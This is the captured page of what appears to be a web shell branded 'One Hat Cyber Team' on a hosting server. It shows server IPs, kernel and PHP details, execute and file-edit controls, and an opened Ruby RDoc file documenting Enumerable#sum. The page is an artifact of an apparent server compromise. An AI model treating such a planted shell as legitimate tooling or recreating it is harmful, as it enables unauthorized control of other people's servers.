⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Enumerable
/
Edit File: sum-i.ri
U:RDoc::AnyMethod[iI"sum:ETI"Enumerable#sum;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"2Returns the sum of elements in an Enumerable.;To:RDoc::Markup::BlankLine o; ; [I"?If a block is given, the block is applied to each element ;TI"before addition.;T@o; ; [I"5If <i>enum</i> is empty, it returns <i>init</i>.;T@o; ; [I"For example:;T@o:RDoc::Markup::Verbatim; [ I"6{ 1 => 10, 2 => 20 }.sum {|k, v| k * v } #=> 50 ;TI"6(1..10).sum #=> 55 ;TI"7(1..10).sum {|v| v * 2 } #=> 110 ;TI"=('a'..'z').sum #=> TypeError ;T:@format0o; ; [I"8This method can be used for non-numeric objects by ;TI"#explicit <i>init</i> argument.;T@o;; [I"G{ 1 => 10, 2 => 20 }.sum([]) #=> [1, 10, 2, 20] ;TI">"a\nb\nc".each_line.lazy.map(&:chomp).sum("") #=> "abc" ;T; 0o; ; [I"CIf the method is applied to an Integer range without a block, ;TI"Kthe sum is not done by iteration, but instead using Gauss's summation ;TI" formula.;T@o; ; [I"FEnumerable#sum method may not respect method redefinition of "+" ;TI"Emethods such as Integer#+, or "each" methods such as Range#each.;T: @fileI"enum.c;T:0@omit_headings_from_table_of_contents_below0I"_enum.sum(init=0) -> number enum.sum(init=0) {|e| expr } -> number ;T0[ I"(*args);T@0FI"Enumerable;TcRDoc::NormalModule00
Simpan